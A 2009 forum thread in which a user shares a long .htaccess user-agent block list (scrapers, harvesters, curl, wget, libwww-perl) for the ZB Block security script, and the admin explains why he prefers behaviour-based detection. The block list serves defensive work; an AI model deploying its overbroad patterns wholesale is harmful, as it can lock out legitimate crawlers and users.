| Author |
Message |
diabolic.bg
Joined: 30 Nov 2008 Posts: 30 Location: Bulgaria |
|
Suggestions for bad user agents to add to ZB Block |
|
 |
 |
# User-Agents with no privileges (mostly spambots/spybots/offline downloaders that ignore robots.txt)
# These bots are anoying website harvesting tools, webdownloaders, and a few misc annoyances.
RewriteCond %{HTTP_USER_AGENT} ^[A-Z]+$ [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(AcoiRobot|FlickBot|webcollage) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(Alligator|DA.?[0-9]|DC\-Sakura|Download.?(Demon|Express|Master|Wonder)|FileHound) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} .*almaden.* [OR]
RewriteCond %{HTTP_USER_AGENT} anarchie [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Arachmo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} AsiaNetBot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*attach.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ATHENS [NC,OR]
RewriteCond %{HTTP_USER_AGENT} autohttp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*BackWeb.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Bandit.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} bew [NC,OR]
RewriteCond %{HTTP_USER_AGENT} BlackWidow [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Bot\ mailto:craftbot@yahoo.com [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.Browse\s [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Buddy.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} Bullseye [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ChinaClaw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Collector.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Copier.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Crawler.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} Crescent [NC,OR]
RewriteCond %{HTTP_USER_AGENT} curl [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "^DA \d\.\d+" [OR]
RewriteCond %{HTTP_USER_AGENT} devsoft's\ http\ component [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Deweb [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Digimarc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Digger [NC,OR]
RewriteCond %{HTTP_USER_AGENT} digout4uagent [NC,OR]
RewriteCond %{HTTP_USER_AGENT} DIIbot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^DiscoPump.* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} DISCo\ pump [NC,OR]
RewriteCond %{HTTP_USER_AGENT} dloader(NaverRobot) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Download\ Demon [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "^Download" [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Downloader.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} "DTS Agent" [OR]
RewriteCond %{HTTP_USER_AGENT} EasyDL/\d\.\d+ [OR]
RewriteCond %{HTTP_USER_AGENT} eCatch [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ecollector [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Educate\ Search [NC,OR]
RewriteCond %{HTTP_USER_AGENT} EirGrabber [NC,OR]
RewriteCond %{HTTP_USER_AGENT} EmailCollector [NC,OR]
RewriteCond %{HTTP_USER_AGENT} EmailSiphon [NC,OR]
RewriteCond %{HTTP_USER_AGENT} EmailWolf [NC,OR]
RewriteCond %{HTTP_USER_AGENT} EO\ Browse [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.Eval [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(Express|Mister|Web).?(Web|Pix|Image).?(Pictures|Collector)? [NC,OR]
RewriteCond %{HTTP_USER_AGENT} extractor [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ExtractorPro [NC,OR]
RewriteCond %{HTTP_USER_AGENT} EyeNetIE [NC,OR]
RewriteCond %{HTTP_USER_AGENT} fastlwspider [NC,OR]
RewriteCond %{HTTP_USER_AGENT} FEZhead [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Fetch [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Fetch\ API\ Request [OR]
RewriteCond %{HTTP_USER_AGENT} ^(Flash|Leech)Get [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Franklin\ Locator [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(Fresh|Lightning|Mass|Real|Smart|Speed|Star).?Download(er)? [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Full\ Web\ Bot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(Gamespy|Go!Zilla|iGetter|JetCar|Net(Ants|Pumper)|SiteSnagger|Teleport.?Pro) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Getleft [NC,OR]
RewriteCond %{HTTP_USER_AGENT} GetRight [NC,OR]
RewriteCond %{HTTP_USER_AGENT} GetURL [NC,OR]
RewriteCond %{HTTP_USER_AGENT} GetWebPage [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^GornKer [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*gotit.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} Gozilla [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla.* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} go-ahead-got-it [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Grabber.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*GrabNet.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} Grafula [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Harvest [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*HMView.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} HTML\ Works [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*HTTrack.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ia_archiver [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Image.?(fetch|Stripper|Sucker) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} IncyWincy [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Industry\ Program [NC,OR]
RewriteCond %{HTTP_USER_AGENT} InterGET [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Internet\ Explore\ 5\.x [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^InternetNinja.* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Internet\ Ninja [NC,OR]
RewriteCond %{HTTP_USER_AGENT} InternetSeer.com [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Irvine [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^JetCar.* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} JOC\ Web\ Spider [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*JOC.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} KWebGet [NC,OR]
RewriteCond %{HTTP_USER_AGENT} larbin [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Likse.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^LinkWalker [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*LWP [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Mag-Net.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Magnet.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} MCspider [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Memo.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} Microsoft\ URL [NC,OR]
RewriteCond %{HTTP_USER_AGENT} MIDown\ tool [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Mirror.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} Missauga\ Locator [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Mister\ PiX [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Monster [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (^Morfeus) [NC]
RewriteCond %{HTTP_USER_AGENT} ^Morfeus [NC]
RewriteCond %{HTTP_USER_AGENT} Mozilla.*NEWT [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Mozilla\/3\.0\.\+Indy\ Library [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Mozilla\/3.Mozilla\/2\.01 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Mozilla\/4\.0$ [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Mozzilla [NC,OR]
RewriteCond %{HTTP_USER_AGENT} MSIECrawler [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^NASA\ Search\ 1\.0$ [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Navroad.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} NearSite [NC,OR]
RewriteCond %{HTTP_USER_AGENT} net.?(ants|attache|Carta|mechanic|spider|vampire|zip) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} NICErsPRO [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ninja [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Octopus [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Offline.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} OpaL [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Openfind [NC,OR]
RewriteCond %{HTTP_USER_AGENT} OpenTextSiteCrawler [NC,OR]
RewriteCond %{HTTP_USER_AGENT} PackRat [NC,OR]
RewriteCond %{HTTP_USER_AGENT} PageGrabber [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Papa\ Foto [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pavuk [NC,OR]
RewriteCond %{HTTP_USER_AGENT} PICgrabber [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*pcBrowser.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} Plucker [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Pockey.* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Production\ Bot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Program\ Shareware [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*prospector [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^psbot [OR]
RewriteCond %{HTTP_USER_AGENT} PushSite [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Reaper.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Recorder.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ReGet [NC,OR]
RewriteCond %{HTTP_USER_AGENT} RepoMonkey [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Rover [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Rsync [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Siphon.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^Scooter-W3.* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ScoutAbout [NC,OR]
RewriteCond %{HTTP_USER_AGENT} searchterms\.it [NC,OR]
RewriteCond %{HTTP_USER_AGENT} semanticdiscovery [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Shai [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sitecheck [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Snake.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} Spegla [NC,OR]
RewriteCond %{HTTP_USER_AGENT} SpiderBot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Stripper.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Sucker.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*SuperBot.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} SuperHTTP [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.Surf [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Surfbot.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} SurfWalker [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tAkeOut [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tarspider [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Teleport.* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Templeton [NC,OR]
RewriteCond %{HTTP_USER_AGENT} UtilMind [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Vacuum.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} VoidEYE [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Web.?(Auto|Cop|dup|Fetch|Filter|Gather|Go|Leach|Mine|Mirror|Pix|QL|RACE|Sauger) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} web.?(bandit|collector|devil|downloader|hook|mole|reaper|sucker|site|snake|stripper|weasel) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Web.?(site.?(eXtractor|Quester)|Capture|Snake|ster|Strip|Stripper|Suck|vac|walk|Whacker|ZIP) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebEMailExtrac.* [OR]
RewriteCond %{HTTP_USER_AGENT} web.by.mail [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Wget.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Whacker.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*Widow.*$ [OR]
RewriteCond %{HTTP_USER_AGENT} w3mir [NC,OR]
RewriteCond %{HTTP_USER_AGENT} WhosTalking [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Widow [NC,OR]
RewriteCond %{HTTP_USER_AGENT} WUMPUS [NC,OR]
RewriteCond %{HTTP_USER_AGENT} www\.pl [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Xaldon\ WebSpider [NC,OR]
RewriteCond %{HTTP_USER_AGENT} XGET [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Yandex [NC,OR]
RewriteCond %{HTTP_USER_AGENT} zeus [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus.*Webster [OR]
RewriteCond %{HTTP_USER_AGENT} ^ZyBorg [OR]
##########################################
# BotBlocker generated by www.solariz.de #
##########################################
RewriteCond %{HTTP_USER_AGENT} ^(2icommerce|BlackWidow|CherryPicker|ChinaClaw|Crescent|Custo|DISCo|Download\ Demon) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(EirGrabber|EmailCollector|EmailSiphon|EmailWolf|Express\ WebPictures|ExtractorPro|EyeNetIE|FlashGet) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(GetRight|GetWeb!|Go!Zilla|Go-Ahead-Got-It|GornKer|GrabNet|Grafula|HMView) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(HTTrack|Image\ Stripper|Image\ Sucker|Indy\ Library|InterGET|Internet\ Ninja|Irvine|JOC\ Web\ Spider) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(JetCar|LeechFTP|MIDown\ tool|Mass\ Downloader|Microsoft.URL|Mister\ PiX|NICErsPRO|Navroad) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(NearSite|NetAnts|NetSpider|NetZIP|Net\ Vampire|Octopus|Offline\ Explorer|Offline\ Navigator) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(PageGrabber|Papa\ Foto|ReGet|RealDownload|SearchExpress|Siphon|SiteSnagger|SmartDownload) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(SuperBot|SuperHTTP|Surfbot|Teleport\ Pro|VoidEYE|WWWOFFLE|WebAuto|WebBandit) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(WebCopier|WebFetch|WebGo\ IS|WebLeacher|WebReaper|WebSauger|WebStripper|WebWhacker) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(WebZIP|Web\ Image\ Collector|Web\ Sucker|Website\ Quester|Website\ eXtractor|Wget|Widow|Xaldon\ WebSpider) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(Zeus|ZyBorg|accoona|activetouristbot|adressendeutschland|aipbot|alexibot|alligator) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(allsubmitter|almaden|anarchie|anonymous|apexoo|aqua_products|assort|asterias) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(athens|athome|atomz|attache|autoemailspider|autohttp|b2w|backdoorbot) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(backdoorbot/0|badass|baiduspider|baiduspider+|becomebot|berts|bew|bitacle) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(biz360|black\ hole|blackhole|blackwidow|bladder\ fusion|blog\ checker|blogpeople|blogshares\ spiders) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(bloodhound|blowfish|blowfish/0|board\ bot|bookmark\ search\ tool|botalot|botrighthere|bropwers) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(browsezilla|builtbottough|bullseye|bullseye/0|bunnyslippers|c-spider|cegbfeieh|cfnetwork) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(charlotte/|cheesebot|cherrypicker|cherrypicker\ /0|cherrypickerse/0|chinaclaw|convera|copernic) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(copyrightcheck|cosmos|crescent|curl|custo|cyberz|datacha0s|daum) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(deweb|digger|digimarc|digout4uagent|diibot|disco|dittospyder|dloaderNaverRobot) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(dnloadmage|download|dragonfly|dreampassport|dsurf|dts\ agent|dumbot|dynaweb) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(e-collector|eCatch|easydl|ebrowse|ecatch|ecollector|edgeio|eirgrabber) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(email\ extractor|emailcollector|emailsiphon|emailwolf|emeraldshield|enterprise_search|erocrawler|esurf) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(eval|everest-vulcan|exabot|express|extractor|extractorpro|eyenetie|fairad) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(fastlwspider|fetch|fezhead|filehound|findlinks|flaming\ attackbot|flashget|flickbot) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(foobot|forex|franklin\ locator|freshdownload|frontpage|fsurf|gaisbot|gamespy_arcade) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(geniebot|getbot|getleft|getright|getweb!|go!zilla|go-ahead-got-it|goforitbot) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(grabnet|grafula|grub|harvest|harvest/5|hatena\ antenna|heritrix|hloader) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(hmview|holmes|hoowwwer|houxoucrawler|httpget|httplib|httpretriever|httrack) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(humanlinks|ibm_planetwide|iccrawler|ichiro|igetter|image\ stripper|image\ sucker|imagefetch) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(imds_monitor|incywincy|industry\ program|indy|ineturl|infonavirobot|installshield\ digitalwizard|interget) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(irlbot|iron33|isspider|iupui\ research\ bot|jakarta|java/|jbh\ agent|jennybot) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(jetcar|jeteye|jeteyebot|jobo|joc\ web\ spider|kapere|kenjin|kenjin\ spider) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(keyword\ density|keyword\ density/9|kretrieve|ksoap|kwebget|lapozzbot|larbin|leech) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(leechftp|leechget|leipzigde|lexibot|libweb|libweb/clshttp|libwww-fm) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(lightningdownload|linkextractorpro|linkie|linkscan|linkscan/1a\ unix|linktiger|linkwalker|lmcrawler) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(lnspiderguy|localcombot|looksmart|lwp|lwp-trivial|lwp-trivial/34|mac\ finder|mail\ sweeper) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(markblonin|masagool|mass|mata\ hari|mcspider|metaproducts\ download\ express|microsoft\ data\ access|microsoft\ url\ control) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(microsoft\ url\ control\ -\ 4511|microsoft\ url\ control\ -\ 8169|midown|miixpc|miixpc/2|mirror|missauga|missouri\ college\ browse) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(mister|mister\ pix|mkdb|moget|moget/1|monster|moreoverbot|mothra/netscan) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(movabletype|mozi!|msie_0|msiecrawler|msproxy|mvaclient|myfamilybot|mygetright) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(nameprotect|nasa\ search|naver|navroad|nearsite|net\ vampire|netants|netattache) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(netcarta|netmechanic|netresearchserver|netspider|netzip|newt\ activex|nextopia|nicerspro) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(nimblecrawler|ninja|noxtrumbot|npbot|octopus|oegp|offline|offline\ explorer) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(ok\ mozilla|omniexplorer|opal|openbot|openfind|openfind\ data\ gathere|opentextsitecrawler|oracle\ ultra\ search) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(outfoxbot|p3p|packrat|pagegrabber|pagmiedownload|panscient|papa\ foto|pavuk) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(pcBrowser|pcbrowser|perl|perman|personapilot|php\ version|plantynet_webrobot|playstarmusic) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(plucker|port\ huron|program\ shareware|progressive\ download|propowerbot|propowerbot/14|prospector|prowebwalker) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(prozilla|psbot|psycheclone|puf|pushsite|pussycat|puxarapido|python-urllib) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(quepasacreep|queryn|queryn\ metasearch|radiation|realdownload|redcarpet|redkernel|reget) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(relevantnoise|repomonkey|rma|rover|rsync|rtg30|rufus|sapo) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(sbider|scooter|scoutabout|script|searchpreview|searchterms|seekbot|serious) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(shai|shelob|shim-crawler|sicklebot|sitecheck|sitesnagger|slurpy\ verifier|slysearch) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(smartdownload|sna-|snagger|snoopy|sogou|sootle|spankbot|spanner) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(speeddownload|spegla|sphere|sphider|spiderbot|sproose|sq\ webscanner|sqworm) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(stamina|stanford|studybot|superbot|superhttp|surfbot|surfwalker|suzuran) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(szukacz|szukacz/4|tAkeOut|takeout|talwinhttpclient|tarspider|teleport|teleportpro) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(telesoft|templeton|testbed|the\ intraformant|thenomad|tighttwatbot|titan|tocrawl/urldispatcher) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(true_robot|true_robot/0|turingos|turnitinbot|twisted\ pagegetter|ucmore|udmsearch|umbc) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(universalfeedparser|url\ control|url_spider_pro|urlgetfile|urly\ warning|utilmind|vayala|vci) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(vci\ webviewer\ vci\ webviewer\ win32|vobsub|voideye|voilabot|voyager|w3mir|web2wap|web\ image\ collector) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(web\ sucker|webaltbot|webauto|webbandit|webbandit/50|webcapture|webcollage|webcopier) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(webcopy|webemailextrac|webenhancer|webfetch|webfilter|webfountain|webgo|webleacher) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(webmasterworldforumbot|webminer|webmirror|webreaper|websauger|website|website\ quester|websnake) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(webster\ pro|webstripper|webvac|webwalk|webwhacker|webzip|webzip/0|wells\ search) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(wep\ search\ 00|werelatebot|wget|wget/3|wget/6|whostalking|widow|wildsoft\ surfer) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(winhttprequest|winhttrack|wumpus|www-collector|www-collector-e|wwwoffle|wwwster|xaldon) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(xenus|xget|y!tunnelpro|yadirectbot|yahooysmcm|yeti|zade|zbot) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(zerxbot|zeus|zyborg) [NC,OR]
##########################################
# BotBlocker generated by www.solariz.de #
##########################################
# deny blank user agents
RewriteCond %{HTTP_USER_AGENT} ^$ [OR,NC]
# IE's "make available offline" mode
RewriteCond %{HTTP_USER_AGENT} MSIECrawler [OR]
# Unknown bot
RewriteCond %{HTTP_USER_AGENT} ^NG [OR]
# Ignorant user trying to edit my site
RewriteCond %{HTTP_USER_AGENT} FrontPage [OR]
#This one will ban everything microsoft. Use with caution.
RewriteCond %{HTTP_USER_AGENT} ^(Microsoft|MFC).(Data|URL|WebDAV|Foundation).(Access|Control|MiniRedir|Class) [NC,OR]
# Rude bot
RewriteCond %{HTTP_USER_AGENT} Atomz [OR]
RewriteCond %{HTTP_USER_AGENT} FlickBot [OR]
RewriteCond %{HTTP_USER_AGENT} "efp@gmx\.net" [OR]
RewriteCond %{HTTP_USER_AGENT} imagefetch [OR]
RewriteCond %{HTTP_USER_AGENT} "LINKS ARoMATIZED" [OR]
RewriteCond %{HTTP_USER_AGENT} "mister pix" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} PersonaPilot [OR]
RewriteCond %{HTTP_USER_AGENT} Sqworm [OR]
RewriteCond %{HTTP_USER_AGENT} SurveyBot [OR]
# Dumb bot, doesn't know how to follow links, generates lots of 404s
RewriteCond %{HTTP_USER_AGENT} vayala [OR]
# Dumb bot
RewriteCond %{HTTP_USER_AGENT} "^Mozilla/4.0$" [OR]
RewriteCond %{HTTP_USER_AGENT} TurnitinBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*FileHound.*$
|
Sorry but I only copy/paste from my htaccess file. Maybe I have some repetitions but more are different.
For me now is very importantly to stop Java bots. In the last 3 days they are many active.
_________________ Fallout Vault BG | Vault Tec RSS News
Last edited by diabolic.bg on Thu Jan 08, 2009 12:40 am; edited 1 time in total |
|
| Wed Jan 07, 2009 9:17 am |
|
 |
zaphod
Site Admin

Joined: 28 Jan 2008 Posts: 75
|
|
|
|
I will comb these for any that I can add.
Mostly will stick with behavior, and here's why...
Adding all that would signifigantly increase ZB Blocks processing time! Speed is of the essence. Also, every skript kiddy out there changes the name his script displays on your end so he can be "cool" and "bragable" (Yes that was a Real Ultimate Power jab at them), so detecting on a narrow-band is something that can't be done... well, it can, but at too much cost to the host's CPU time.
Not only that, but all the bots I have seen, come in named Mozilla, or libwww-perl. Of course libwww-perl is always bots...
What I am hoping to find is some other "commonalities" in what you sent. Gonna print them out, and pour over them.
More on my theories later.
(Next signature update won't be for a week or so, so I do have time)
Zap!
P.S. THANKS for this data! 
|
|
| Wed Jan 07, 2009 6:27 pm |
|
 |
zaphod
Site Admin

Joined: 28 Jan 2008 Posts: 75
|
|
Observation... |
|
One thing I've noticed right away, is that alot of the first section is just human operated site rippers/downloaders that while cause bandwidth consumption, do not denote hacking tools.
The scope of ZB Block is really to prevent hacking and spam. If some idiot wants to spend time downloading pages he'll probably never read, I'm OK with that. if someone wants to use anti-human-operated tool blocking .htaccesses, good with that too, but not for me. Besides, my site content is dynamic and prone to changing, so it serves no purpose to steal it for ones own use except to make a link to it (which I am OK with.)
But will still comb for actual bots that present a threat. I see one allready.
Zap 
|
|
| Wed Jan 07, 2009 6:55 pm |
|
 |
diabolic.bg
Joined: 30 Nov 2008 Posts: 30 Location: Bulgaria |
|
|
|
In fact you are realy right if many signatures will be slow ZB block. Who want can block all bad user-clients in his htaccess.
In ZB block I added with success Java bots and "Toata dragostea mea pentru diavola". 
_________________ Fallout Vault BG | Vault Tec RSS News |
|
| Fri Jan 09, 2009 2:01 am |
|
 |
zaphod
Site Admin

Joined: 28 Jan 2008 Posts: 75
|
|
Another note on safety... |
|
One other thing that spooks me about adding so many extra user-agent bounces is...
If I catch, by accident, Googlebot or Y! Slurp once, the results could be very detrimental.
So I will concentrate on hacking tools, and other malbots.
However, some of these are good to add, so I will, and I appreciate your efforts.
Zap 
|
|
| Fri Jan 09, 2009 8:35 am |
|
 |
diabolic.bg
Joined: 30 Nov 2008 Posts: 30 Location: Bulgaria |
|
|
|
I'm glad to help.
After some tests I decided to leave libwww-perl clients to block from htaccess because it not only does block attack but return to hit. It redirect attacker to his personal IP address, not to server with script file:
